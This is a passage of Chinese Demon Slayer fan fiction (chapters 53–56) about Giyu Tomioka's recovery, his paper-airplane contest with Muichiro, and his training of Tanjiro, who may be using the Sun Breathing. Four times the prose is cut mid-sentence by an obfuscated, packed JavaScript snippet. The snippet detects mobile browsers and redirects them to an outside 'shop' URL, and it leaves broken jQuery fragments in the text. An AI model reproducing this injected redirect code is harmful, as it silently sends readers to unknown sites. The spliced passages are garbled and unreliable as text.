蝴蝶忍眯着眼盯了他一会,和富冈义勇那双海蓝色的眼睛对视,然后点点头:“好。我信你了。” 等蝴蝶忍出了门,富冈义勇松了口气。 他已经不需要输液,但又睡了十多天,原本恢复了些许的力气现在又重回原点了。 富冈义勇分别握了握两只手,感受了一下。 只是特训的实战训练的话,他可以做得到。 这一次,绝不是逞强。 在特训倒数第四天时,几个柱又都凑到了一起,商讨是否富冈义勇负责最后三天的实战训练。 “我见他状态不错,应对新人倒是足够了。” “这批新人的实力确实不错,不过和富冈比确实还差得远。” “富冈看上去确实和以前不一样了,感觉变化还挺大的。” “真是欠了这家伙一个大人情。” “富冈捡的那个变成鬼的少女醒了吗?” “小忍说还没有,但她的血液一直在变化,现在她和珠世小姐也拿不准她的情况。” “她现在昏迷着,鳞泷前辈我记得也有能催眠的能力。蝴蝶,我取一点血液给你,然后派人送到狭雾山吧。提前适应适应我的血液,她醒过来后,说不定就能抑制住对我血液的渴望。要是做得到,那小子加入鬼杀队也没人会说什么。” “不死川,你居然开始为鬼考虑了?不像你啊。” “还不是欠了富冈那么大的人情,他什么也不缺,就喜欢吃萝卜鲑鱼,我又不会做……只能平时闲了帮他恢复恢复状态,但这又抵不了人情。炼狱说富冈准备为那两个人担保,我就想着我帮他一把算了。” “还真不像你啊。” “咳,话题扯远了。那富冈负责最后的实战训练就这么定了?” “我同意。” “我没意见。” “可以。” 就这样,得到了所有柱同意的富冈义勇成功负责最后三天的实战训练。 而这三天,也给了新人留下了最深的印象。 “水柱大人打趴下我们一群人,气都不喘一下,而且他还都是只用的最基础的招式。关键是你们能想象吗,就是这样的他,还得乖乖喝药、好好养伤吗?” “虽然早就知道柱的实力不一般,但我们真的差好多啊。” “单手握刀,还是非惯用手,身体没恢复,力气没恢复,就这样,还是一两下就把我们都打趴下了!” “这让我们情何以堪!” “怎么能不努力啊!” 53.第 53 章 在特训结束后,富冈义勇就回到了平稳的养伤日常,远离外面所有的纷纷扰扰。 老实养伤,认真复健,每日进行训练,再偶尔兼职一下复健的医护人员。 虽然有些枯燥,但也算不得无聊,因为隔三差五总有人来探望他。 几个柱谁比较闲了,就会过来陪他切磋恢复状态。 而在见过逝去的家人后,时透无一郎的记忆也慢慢恢复了。 云霞散开,让他看清了过往一切。 寡言少语、记忆散乱的时透无一郎,也变得爱笑起来了。 “要这样折,再这样折。”时透无一郎和富冈义勇一起坐在床边,手里拿着折纸教富冈义勇怎么折纸飞机。 时透无一郎很喜欢折纸,来找富冈义勇的时候,除了陪他练刀,就会和他一起折纸。 富冈义勇在失去父母以后,就很少凭借兴趣去做事了。尤其是折飞机,他已经很多年很多年没有折过,模糊的记忆早已让他忘记具体的步骤。 富冈义勇有些笨拙地将手中的纸折叠翻转,最后成品出来时,他皱了皱眉:“好丑。” 折痕有些多,造型有些歪,的确是很丑的纸飞机。 时透无一郎扭头看了眼富冈义勇的纸飞机,轻轻笑了出来:“真的有些丑。” 富冈义勇将手里的纸飞机放到一边,然后拿了一张新的纸重新折起来。 他的右肩恢复得差不多了,只是动作太大的话,还是有些疼,不过现下折个纸飞机还是可以的。 时透无一郎这次直接看着他折,时不时会给出他的意见。 经过专业人员的指导,富冈义勇的纸飞机终于漂亮了起来。 时透无一郎从床上下来,邀请富冈义勇去院子里,比一比谁的纸飞机更远:“但你肯定赢不过我。” 自信又开怀的笑容。 富冈义勇很高兴能看到这样的他,对着他点点头,也从床上下来,拿着纸飞机和时透无一郎来到院子里。 院子里,小葵和栗花落香奈乎正在晾晒床单,看到富冈义勇和时透无一郎,还朝他们挥了挥手打招呼。 “富冈先生,今天的药喝了吗?”作为护士,小葵询问道。 富冈义勇认真地点头:“喝过了,体温也有人来量过了,很正常。” 小葵点头,又忍不住叮嘱:“今天外面风有些大,富冈先生不要在外面待太久。” 回答的是时透无一郎:“好,等放完纸飞机我就带他回屋子。” 小葵笑笑,转身继续工作去了。 “好了,我数三二一,一起放,比完咱们就回去。”时透无一郎的表情很认真,一副富冈义勇不听话就打晕他的样子。 富冈义勇轻轻叹息,他的信任度已经低到连时透都管他了吗? 算了,总归是他有错在先。 “好。时透数吧。”富冈义勇抬手捏住纸飞机的下端。 “三,二,一。” 在时透无一郎数完的同时,两个人一起将手里的纸飞机丢了出去。 晴朗的天空,一朵朵白云。 蓝白色的纸飞机越飞越远。 富冈义勇输了。 结果一出来,时透无一郎就推着富冈义勇回去:“好了。咱们回病房。而且我说得对吧,富冈你赢不过我的。” 富冈义勇不甘心地回头望着,想要再试一次。 他和时透折的纸飞机明明很像,怎么就没赢呢? 但时透无一郎丝毫不给他机会,直接推着他来到了复健室。这个屋子是专门安排的。地方很大,能让空闲的柱和富冈义勇打得开。 “富冈,我们来比试吧。” “好。” 富冈义勇换回了右手握刀,和时透无一郎打起来。 为了不给右肩造成新的损伤,他每次的动作幅度都很小。 “富冈,看来不需要太久你的状态就能完全恢复了。”两个人打完,时透无一郎将木刀收好,侧着头看向富冈义勇。 富冈义勇眼睛一亮:“那我可以出去了吗?” 时透无一郎笑笑,回答的内容却很是冷冰冰:“不能。” 富冈义勇叹气:“鬼没找到我,肯定不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294349|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放弃追杀的。我总不能一直不出去吧,我都在蝶屋快待一年了。” “谁让你之前受伤那么重,而且肩膀又没完全好,大家可都不放心让你出去。”时透无一郎想了想,安抚他:“不过你最多再待一年。下一次最终选拔前,肯定会放你出去的。” 富冈义勇叹气,握着刀的手随意地挽出刀花:“最多再有三个月,我就能完全康复了,不想一直待在蝶屋。” “说起来富冈,你之前说谁能在复健训练赢过你,你就给他变彩虹,这事还算数吗?”时透无一郎眼睛亮亮的,“我都没见过你变的彩虹。” “对普通队员算,你们不算。”富冈义勇也是有情绪的。虽然知道他们是担心他,但被禁足,他怎么都不可能开心起来,就更不可能给他们变彩虹看了。 “好吧。”时透无一郎有些失落,毕竟他听说那个彩虹真的很漂亮。 富冈义勇想了想,和他商量:“要不你和我说说现在的情况怎么样?” 时透无一郎立马拒绝:“不可能!主公说了,这次如果谁再泄密,是要被拎走喂鱼的。” 富冈义勇:“……” 鱼招谁惹谁了。 说到鱼。 “想吃萝卜鲑鱼了。”富冈义勇看向时透无一郎,又眨了眨眼。 时透无一郎点点头,站起身:“好,我去让厨房的护士们给你做,你先回病房。” 为了让富冈义勇安心在蝶屋待着,蝴蝶香奈惠在派人采购物资的时候,特意添加了鲑鱼和萝卜两项。 现在只要富冈义勇想吃萝卜鲑鱼,就有人可以随时给他做,这让他非常开心。 时间一点点过去,富冈义勇的伤也渐渐痊愈,状态也完全恢复了。 然后,他被所有需要复健的队员拉入了黑名单。 “水柱大人,饶了我们吧,我们真的比不过!” “你们不想看彩虹了吗?” “前提是我们能赢过您!可问题我们赢不过!” “……那我回去休息了,你们加油。” “您慢走!请好好休息!” 54.第 54 章 水不会停下向前流动的趋势,却会因为地势的平坦而放缓速度。 在和童磨对战完,富冈义勇足足在蝶屋待了一年半,身体才完全痊愈。 医生和蝴蝶香奈惠看着检查报告上的各项数据,十分满意地点点头:“富冈先生,恭喜你,身体完全没问题了。” 躺在病床上的富冈义勇唇角微扬,脸上也带了浅浅的笑意:“那我是不是可以出门了?” 蝴蝶忍在旁边摊手,回答他:“很遗憾,主公并没有解开你的禁足令。” 富冈义勇的笑容立马就散了,显露出一丝不开心和委屈:“我的伤都完全好了,为什么还要关着我?” 三个女人纷纷移开视线,不去看他。 富冈义勇现在情绪变多了不少,她们看到这个变化都很开心,只是对上他委屈的眼神时,总会担心自己狠不下心说出拒绝他的话。 “那义勇,你想去哪呢?”是产屋敷耀哉的声音。 “主公!” 产屋敷耀哉被天音搀扶着,温和地拦住他们的动作:“不必多礼的。” 他看向其中的富冈义勇:“义勇,我今天过来就是为了你的禁足令。” 产屋敷耀哉找了个凳子坐下来,让蝴蝶香奈惠她们去忙,他和富冈义勇聊一会。 三个人点点头,将报告单都收好,就出去继续工作了。 富冈义勇的表情认真:“主公,我的伤好了,可以出蝶屋执行任务了。” 产屋敷耀哉摇摇头:“你暂时还不能去执行任务。” “为什么?”富冈义勇很疑惑,语气带了一丝低落。 产屋敷耀哉不愧是主公,心里素质极强,半点都没有被富冈义勇的语气影响到:“你不是一直想回狭雾山看看吗?现在身体没有问题了,可以去了。” 他看了看天音,让她把东西交给富冈义勇。 富冈义勇接过来一个香囊,上面带着药草淡淡的香气。 “这是天音做的安神香囊,可以掩盖你身上的药草味。”产屋敷耀哉解释。 在蝶屋住了一年半,富冈义勇身上不可避免地沾了不少药草的味道。想要合理解释这个味道,富冈义勇就得将香囊带到身上。 天音又拿出来一个真空试管递给富冈义勇,里面还装有鲜红的血液。 产屋敷耀哉继续解释:“这是实弥的血液,知道你挂心祢豆子和炭治郎,他就想用自己的血液帮祢豆子一把。祢豆子在到狭雾山后一直在昏迷,实弥想要在她昏迷时,逐渐适应人的血液。但我和珠世小姐聊过,她说祢豆子的情况与普通的鬼都不一样,血液更是一直都在变化。实弥给出自己的血液是出于好意,但未必对祢豆子有用。” “放任她的沉睡,一直到她自然醒过来,并非一件坏事。” 富冈义勇将香囊和试管都收好,点点头:“劳烦主公挂心,等见到不死川,我会向他道谢的。” 产屋敷耀哉温和笑笑,继续和他说正事:“义勇,最近也到了定期取祢豆子血液的时间,你这次去狭雾山,也要负责这件事。” “至于你为何这么久没回去,我之前就做好了安排,让隐的人告诉左近次和炭治郎你在执行一个特殊的任务,任务内容需要保密,更需要隐藏行踪。等回到狭雾山,你可以说最近任务才结束,有时间回去探望。” 富冈义勇看着产屋敷耀哉,眼里满是真诚的感激:“多谢主公。” 静水总无声,活水多波澜。 有什么东西,到底是不一样了。 产屋敷耀哉看着这样的富冈义勇,心里满是欣慰。 他温柔地笑笑:“等从狭雾山回来,就要为新一届的最终选拔开始准备了。这一届,由义勇全权负责。” 富冈义勇眨眨眼:“我一个人吗?” 产屋敷耀哉点头:“这次的最终选拔回到了紫藤山,所以准备工作并不多,一个人负责足以。” 富冈义勇“哦”了一声,算是应了这份工作,但还是小声呢喃了一句:“现在离最终选拔不是还有四个月吗?准备工作又不需要这么久。本质还是不想我去执行任务。” 产屋敷耀哉当没听见,轻咳了一声:“目前对于祢豆子和炭治郎的事,我和其他柱都没有意见。” “义勇,我知道你有心替他们提前铺好路。”产屋敷耀哉看着富冈义勇,“我们都了解你,自然也不会怀疑你看人的眼光。” “我不会让你不替他们做担保,但人都有私心,我们都不希望因为一个陌生人而影响到你的未来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299088|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “按照珠世小姐的推测,祢豆子的沉睡很可能不会太久了。” “想要说服鬼杀队的所有人,还需要他们自己能用行动证明祢豆子的无害。无论是谁,都需要用自己的行为赢得大家的认可。” “炭治郎和祢豆子也是一样。” 富冈义勇点点头:“我明白的。” “在雪山遇见他们的时候,我想过让那个少年继承水柱之位。”富冈义勇海蓝色的眼睛里没有半分杂质,纯净深邃,“但我现在想明白了,不提未来,现任水柱就是我。以前我总是会在意自己的资格,担心自己的存在是否有价值。但现在的我不会了,因为我知道那并不重要。我会当好水柱,不辱这份名号。” “我很喜欢鬼杀队的大家,大家也都很关心我,所以我不会再说出让大家苦恼的话。” 富冈义勇与产屋敷耀哉对视,唇边的笑容自信而轻柔:“未来的路,我会好好走下去,不让大家再为我担心。” 产屋敷耀哉看着富冈义勇的笑容,微微怔住。 一晃多年过去,他第一次看到这份笑容。 水之呼吸,以自身为水作为最高境界。而富冈义勇,也将水之呼吸发挥到了极致。 产屋敷耀哉莫名想到一句诗: 皎洁静水温如寒,几回曲折泛波澜。 无需说与众人辩,自有清光显人前。 产屋敷耀哉直接笑出来,起身揉了揉富冈义勇的脑袋,笑容更加温柔:“嗯。我相信你。” 一如初见,产屋敷耀哉始终相信着富冈义勇。 相信他不会停下向前的脚步,也相信着他多年未曾变过的纯净之心。 不过嘛。 “义勇,我最近经常听人提起你会变彩虹一事。” “……如果是主公下令,我不会拒绝。但如果只是请求,还请恕我拒绝。” 再平静的水,也是有情绪在的。 “咳,我就是想说义勇,你越来越厉害了。” “原来如此。多谢主公夸赞。” “天音,咱们回去吧。” “好。” “主公还请多保重身体。” “……嗯。” 这孩子真记仇,彩虹都不给看。 55.第 55 章 为了找到妹妹灶门祢豆子变回人类的方法,灶门炭治郎在狭雾山已经修行了一年半之久。 作为最普通的卖炭少年,灶门炭治郎对于呼吸法、刀法可谓是知之甚少。 他什么都不懂,就只能拼命地努力,用尽全力去记住鳞泷左近次教导他的所有东西。 是人就会累,就会想要休息。 但灶门炭治郎看到昏迷的灶门祢豆子时,疲惫就都化作了前进的动力。 “除了家人和同伴,没有谁会无缘无故帮你做事。我也一样!” 是的,他必须让自己强大起来。 但……到底要怎么跟水融为一体啊?! 呼吸法再怎么神奇,也没办法真的把人变成水吧?! 灶门炭治郎抱着这样的疑惑,持续着自己的修行。 在一个最平常的上午,灶门炭治郎正在进行挥刀的练习,然后远远地看见了富冈义勇。 一年朵未见,灶门炭治郎并没有忘记富冈义勇的样子。 但之前的他不一样,这时候的富冈义勇好像变化了不少。而在看到他的那一瞬,灶门炭治郎那个困惑了很久的问题,也终于有了答案。 真的有和水一样的人。 看见这个人,就像是看到了宁静的海面,内心也变得平静下来。 灶门炭治郎收好木刀,朝着富冈义勇的方向挥着手:“富冈先生~” 富冈义勇朝声音的方向看过去,对着训练的少年点点头,然后推门进了屋子。 他要先去见鳞泷老师,再来谈他们兄妹的事。 鳞泷左近次正在屋里照顾昏睡的灶门祢豆子,看见富冈义勇进来,他手里拿着的毛巾直接从手中滑落:“义……义勇……?” 鳞泷左近次已经有六年没见过富冈义勇了。 “鳞泷老师,多年来,劳您担心。”富冈义勇的话语里带着歉疚,“没能常回来看您,是我的过失。” 鳞泷左近次藏在面具后的眼睛忍不住湿润,起身将他抱在怀里:“你从来都没有错,义勇。” “隐的人说你去执行秘密任务,没办法寄信回来,我一直很担心。如今看到你没事,真是太好了。” 富冈义勇闭上眼,忍住眼眶涌上来的涩意。 等鳞泷左近次和他自己的情绪都平稳下来,富冈义勇开始谈正事:“鳞泷老师,我这次来,是为了和您商讨灶门炭治郎和灶门祢豆子的事。” “好,跟我去旁边的屋子吧。”鳞泷左近次给灶门祢豆子盖好被子,就领着富冈义勇去了隔壁的房间。 两个人面对面坐下。 “义勇,现在的你真的将水之呼吸发挥到了极致。”鳞泷左近次不禁感概。 富冈义勇轻轻笑了一下,点点头,他知道现在的他很厉害。 看见他的笑容,鳞泷左近次心里有种说不清的情绪开始蔓延。 有酸涩,有欣慰,也有一份感慨。 这孩子,终于从过去走出来了。 “鳞泷老师,最终选拔还有几个月就会召开,不知道灶门炭治郎的实力是否达到了参加的标准?”富冈义勇提问道。 鳞泷左近次也不再伤春悲秋,和他说起灶门炭治郎的表现:“我能交给他的东西都教了,标准和你那年的一样,用刀砍开石头就可以参加最终选拔。” “但为了不让他枉顾性命,我把石头换成了更大的一颗。” “现在他每天都在尝试,但还没有完成我定的目标。水之呼吸的十个招式目前他都能自由使出,但熟练度和威力还是要差一点。” 富冈义勇点头,表示自己明白了:“鳞泷老师,我会在这里待三天,这期间我会帮您一起教导灶门炭治郎。” 最新一届的最终选拔,灶门炭治郎一定要赶得上。不然就要再等两年,如果灶门祢豆子很快就要醒过来的话,他们等不了那么久。 师从一门,作为灶门炭治郎的师兄,富冈义勇自认他有教导灶门炭治郎的义务。 “鳞泷老师,另有一事。”富冈义勇表情认真,“如果灶门炭治郎能够通过最终选拔,我会以水柱身份替他担保,给他和他的妹妹一个证明自己的机会。” 富冈义勇想了想,如果灶门炭治郎能够通过最终选拔,那他就是鬼杀队的一员,需要遵守鬼杀队的规则。 不可包庇恶鬼,这是所有队员最熟悉的一条。 富冈义勇之前想着,用他的身份和地位来为灶门炭治郎做担保,让其他人可以同意他加入鬼杀队。 但主公的话点醒了他,资格需要自己争取。 富冈义勇能为灶门炭治郎做的,就是给他一个机会,让他们在柱和主公面前证明灶门祢豆子的无害。 “义勇,这一年多下来,灶门祢豆子的情况我是最清楚的,我是不会让你一个人承担这份责任的。”鳞泷左近次同样说得认真。 富冈义勇微微皱眉:“我不想连累您,毕竟这件事本就是我擅自决定。” 鳞泷左近次拍了拍富冈义勇的肩膀:“我是你的老师,灶门炭治郎也是我的弟子,我不可能作壁上观的。” 富冈义勇知道鳞泷左近次对他们的爱护,微微低头:“抱歉……” 他不想牵连鳞泷老师,但在他将灶门炭治郎交给鳞泷老师时,就已经把鳞泷老师带入了局中。 鳞泷左近次轻轻笑了下,揉了下富冈义勇的脑袋:“义勇,你是我最骄傲的弟子。能帮上你的忙,我其实很开心。” “在锖兔牺牲后,我一直很担心你。今天再见到你,看到你身上的变化,我终于放下了心。” “还记得我以前和你说过的吗?每一任水柱都使用过水之呼吸的第五式。对于鬼,对于善恶,身为前任水柱的我,同样清楚。” “能帮到炭治郎和祢豆子,也算是我这个前任水柱该做的事。” 富冈义勇顶着被揉乱的头发,看着鳞泷左近次:“鳞泷老师,这些年来,谢谢你。” 鳞泷左近次忍不住红了眼眶,好在面具挡了下来。他开始转移话题,和富冈义勇聊些日常。 因为在来之前被产屋敷耀哉和几个柱特训过,富冈义勇回答得滴水不漏,有些很难说清楚的事,也全部以秘密任务搪塞过去,完全不给鳞泷左近次发现他伤重的机会。 两个人聊得差不多时,富冈义勇就找机会说去见灶门炭治郎。鳞泷左近次没察觉出来异样,也就放他出去了。 等来到外面,富冈义勇才在心里松了口气。 等他过去,灶门炭治郎还在挥刀,富冈义勇就没打扰他,靠在树干上,站在一边看着。 动作和力度还比较像模像样,但速度差了点,下肢的稳定性也有些欠缺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303268|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等灶门炭治郎挥完一千次刀,富冈义勇才慢慢靠近他。 已经一年多的训练,灶门炭治郎已经很适应这些日常训练,挥完一千次刀以后体力还剩下很多。 他擦了擦额头上的看,笑着和富冈义勇打招呼:“富冈先生。” 富冈义勇点点头,话语平静:“前面的时候还好,但到后面,刀挥出去的角度就发生了偏移,整个过程也没有使用全呼吸。” 他将刚刚发现的问题一一说给灶门炭治郎,每说一个,灶门炭治郎就觉得有一把刀插中了自己的心。 “我给你做一遍,你仔细来看。”富冈义勇往旁边站了站,拔出自己的刀。 凌冽的寒光,纯粹的蓝色,将刀握在手中的富冈义勇,像是暴风雨来临前的海面,让人本能地不寒而栗。 灶门炭治郎眼睛睁大,看着富冈义勇拔刀,举起来,又挥出去。 蓝色的水在他面前出现,笔直地朝面前的树冲去。 翻涌的海浪令人生畏,仅仅一阵波涛,也带有不可估量的力量。 水,直接穿透树干,将高大的树干从中间劈开。 由于富冈义勇控制着力量,树并没有倒。但如果走近去看,用手触摸树干,就会发现树的下半部分已经被斩断,可以从这一边,看到树的后面。 没有任何的技巧,只是最基础的一招。 纯粹而富有力量。 富冈义勇收起刀,就看到灶门炭治郎眼里满是惊羡,愣愣地站在原地。 这幅样子,和每届的新人还真像。 富冈义勇的嘴角微微扬了扬,直接走过去,拿手敲了下他的脑袋:“我只演示一次,看清楚你的问题在哪里了吗?” 灶门炭治郎回神,大声回答:“是!看明白了!” 他拿起自己的木刀,回忆着刚刚看到的动作,然后用力地挥出去。 富冈义勇点点头:“有进步。” 他继续道:“但水之呼吸讲究以柔克刚,力量并不是最重要的那一个。” 富冈义勇看了看周围,没有拔刀,直接用握刀的姿势用变出来的水流砍了一下周围的草丛,水流坚韧,很快就弄出来一根光滑而又笔直的枝条。 “富冈先生,你真的好厉害!”灶门炭治郎不由惊讶道。 富冈义勇的表情没有变化:“好好练习,你也可以做得到。” 灶门炭治郎用力点头:“嗯!我会努力的!” 这一上午富冈义勇都在指导灶门炭治郎,帮他点出来不少问题。 这并不代表鳞泷左近次不负责,而是两个人的侧重点并不一样。 一个是打基础,一个是提高上限。 在休息时,灶门炭治郎拿着饭团吃着,好奇地问富冈义勇:“富冈先生,我闻到你身上有很浓的药草气味,是生病才好吗?” 富冈义勇和他一起坐在木桩上吃着饭团,听到这个问题,一点都不慌,十分从容地示意了一下腰间的香囊:“是这个,安神用的香囊。” “原来是这样。”灶门炭治郎恍然。 富冈义勇快速地吃完饭团,就喊灶门炭治郎开始训练。 都有空管他了,看来是休息够了,起来继续训练吧。 灶门炭治郎欲哭无泪,在内心大喊:“富冈先生怎么比鳞泷先生还要严厉啊!” 56.第 56 章 富冈义勇在狭雾山待的这几天都是独自睡一个房间,加上洗漱或者洗澡时他都有留意,倒还真没让其他人发现他身上的伤痕。 这几天灶门炭治郎每天进行训练时,富冈义勇都会在旁边看着他,提出建议的同时,还讲了很多使用水之呼吸的心得。 最终选拔在即,全集中常中的练习富冈义勇也在让灶门炭治郎开始练习了。 在富冈义勇的魔鬼训练下,灶门炭治郎的体力每天都被榨干到一丝不剩,连洗澡都快没有力气洗了。 在第一天的晚上,鳞泷左近次见灶门炭治郎差点睡在浴池里,就干脆每天等这两个人训练结束,亲自过来把灶门炭治郎拎走,带他回去洗澡换衣服。 对于富冈义勇对灶门炭治郎的严苛要求,鳞泷左近次什么也没说。 毕竟,与鬼搏杀,本就是拼命的一件事。 在一次训练结束,灶门炭治郎躺在地上,仰头看向站在一边的富冈义勇:“富冈先生,鳞泷先生和你都说过,呼吸法是让人通过呼吸和自然对应的元素进行感应,又与刀术结合,让人在一呼一吸间,与自然界进行交换,逐渐增强人的身体机能。” “在我的父亲去世前,曾教导过我一种祭祀舞蹈的呼吸方式,可以让人在雪地里跳很久的舞也不会觉得冷。” “火之神神乐,这是我们家族代代相传的祭祀仪式。” “这两者之间,会有什么关系吗?” 富冈义勇对其他的呼吸法不算特别了解,想了想才道:“等你有力气了,用出来给我看看。” 灶门炭治郎点点头:“嗯!我之前也问过鳞泷先生,但他说他也没见过这种呼吸方式。” 火之神神乐。 与火相关吗? 富冈义勇思索着。 现有的呼吸法里,倒是有炎之呼吸,火之呼吸却没有听过。 灶门炭治郎休息好后,就用木刀将火之神神乐跳了出来。 富冈义勇仔细留意着他的呼吸以及手里的动作。 这个呼吸方式和呼吸法确实很像,但又很不一样。 等灶门炭治郎跳完,富冈义勇出声询问:“在跳这个祭祀舞时,你想到的是什么?” 灶门炭治郎眨眨眼,老实道:“想到了我的父亲,还有我的家人。” “不是这个。”富冈义勇摇摇头,“你再跳一遍,不要去想家人,而是专注于呼吸本身,用心去感受在你呼吸时出现的事物。” 灶门炭治郎懵懵懂懂点点头:“好,我再试一次。” 这一次,富冈义勇离得远了一些,还将自己全集中的呼吸停了下来,尽可能不干扰灶门炭治郎。 这一次,灶门炭治郎将全身心都投入到火之神神乐里。 这是他从小跳到大的舞蹈,最是熟悉不过。 手中的刀是祭祀仪式时用的道具,身体随着无声的韵律而灵活摆动。 灶门炭治郎闭上了眼,感受着手中的刀,感受着自己的呼吸。 红色的,温暖的,明亮的。 那是什么? 站在旁边的富冈义勇眉头皱紧,看着灶门炭治郎手中的木刀带出了火红的颜色。 那是火吗? 不,不对,这并不是单纯的火。 炼狱杏寿郎的炎之呼吸就是最纯粹的炎火,而灶门炭治郎显化出的与炎火并不一样。 沉浸在火之神神乐的灶门炭治郎,双眼紧闭,想要看清脑海里亮起的东西是什么。 在他跳完最后一个姿势时,他看清了。 “太阳。”灶门炭治郎呢喃出声,过了好一会才睁开眼,“富冈先生,我看到了太阳。” “太阳?”富冈义勇疑惑,却忽然想到什么,“日之呼吸?!” 灶门炭治郎没有听过这个呼吸法,不解地看向富冈义勇。 富冈义勇的眉头已经皱紧,直接陷入了思考。 五大呼吸法并不是最起始的呼吸法,都是基于日之呼吸而派生出来的。但随着历史的变迁,日之呼吸的方法早就失传。 鬼杀队里的大多数人都是使用的五大呼吸法。 如果火之神神乐与日之呼吸有关…… 富冈义勇看向灶门炭治郎,表情严肃:“火之神神乐的事,不要和任何人说,我会替你去查。” 匹夫无罪,怀璧其罪。 如果这真的是日之呼吸,灶门炭治郎无疑会成为众矢之的。眼下灶门祢豆子的事尚未解决,他会使用日之呼吸的事更加不能暴露。 灶门炭治郎也察觉到这件事的严重性,立马点点头:“在外人面前,我不会再提火之神神乐的事了。” 富冈义勇点点头:“这件事事关重大,不可声张。” “过几个月最终选拔就要开始,在那之前,你必须完成鳞泷老师给你定下的标准。在参与最终选拔时,也不可以使用火之神神乐,还是要用水之呼吸进行战斗。” “等你通过最终选拔,你妹妹也苏醒后,我会叫宽三郎来叫你去见主公和其他几位柱。” “在他们面前,你需要证明你的妹妹不会伤害人类。” 富冈义勇看向炭治郎,话语平静,而不带感情:“为了能服众,我会用刀刺伤你的妹妹。” 不死川实弥的血液对于鬼来说,有着很强的吸引力。一旦进食这种血液,获得的能量会比吃掉普通的人类儿多出数倍。到时候,他会把不死川实弥的血液涂到手上,然后靠近受伤的灶门祢豆子。 如果灶门祢豆子能用理智控制住自己的行为,灶门炭治郎就能顺利加入鬼杀队,她自己也能赢得大家的认可,让珠世小姐顺理成章地为她研究能够变成人类的药剂。 灶门炭治郎愣住,一脸心疼:“必须这样吗?” 富冈义勇点头:“鬼在受伤时,会对人的血肉有很大的渴望。如果这样的情况下,她还能保持理智,鬼杀队的所有人就能相信你妹妹并非恶鬼,不必非要杀掉她。” “我不是在和你商量,而是通知你。就算你不同意,我也要这么做。”富冈义勇的眼里没有半分迟疑,“如果你会因此恨我,我也不会说什么。” 灶门炭治郎低下头,攥紧双手:“祢豆子她,就算是鬼,也是会疼的。我是她哥哥,怎么可能愿意看到她痛苦?” 富冈义勇沉默着,什么也没说。 有什么是改变了,但也有什么从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308203|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变过。 冷静、果决、理智,这些让富冈义勇做事时,不会因为任何事而有半分犹豫。 灶门炭治郎无力地松开手:“但……如果是富冈先生,我愿意相信。” 他抬起头,露出有些伤心又温和的笑容:“毕竟给我和妹妹指出这条路的,正是富冈先生。” “但也只是富冈先生。我不会允许其他人伤害祢豆子的。”灶门炭治郎笑得有些让人心疼。 “嗯。作为你们的引荐人,我会负责到底。”富冈义勇的神情不变。 他从不会主动说自己做了什么,更不会告诉灶门炭治郎他为这个机会准备付出什么。 静水总无声,默默用自己的方式护着所有人。 担心自己伤重的事被两个鼻子很灵的人发现,富冈义勇没敢在狭雾山待得太久,在第四天的早上就准备回去了。 为什么不是晚上呢? 自然是产屋敷耀哉和几个柱担心富冈义勇晚上顺道去处理鬼而强制要求他在天黑之前回到家里。 要是没有按时回去,富冈义勇就又得继续在蝶屋关禁闭了。 富冈义勇不想再被禁足,所以早上刚吃过饭,就直接动身离开了。 在回到家时,太阳还未落山,富冈义勇就让宽三郎给主公报信去了。 离开一年多,他现在十分想念他的家。 富冈义勇换上宽松的睡衣,直接去浴室泡澡休息。 果然还是家里最舒服。 富冈义勇惬意地躺在浴池里,温暖的水包裹着他的身体,驱散了赶路的疲惫。 他闭上眼,放松的同时思索着有关日之呼吸的事情。 在和炼狱槙寿郎的几次交谈中,富冈义勇听过日之呼吸。 炼狱槙寿郎颓废的原因里,就是因为看到炎柱手记里记载过初代剑士与鬼舞辻无惨战对决的经历。 即使天才如初代剑士,也对鬼舞辻无惨无可奈何,这让炼狱槙寿郎认为自己的所作所为毫无意义。 日之呼吸是所有呼吸法的起始,也是对付鬼最有效的呼吸法。 鬼都怕太阳,而将日之呼吸用到极致,就是让自己变得和太阳一样。 以人类之躯化作太阳,这是所有鬼杀队队员一直在做的事。 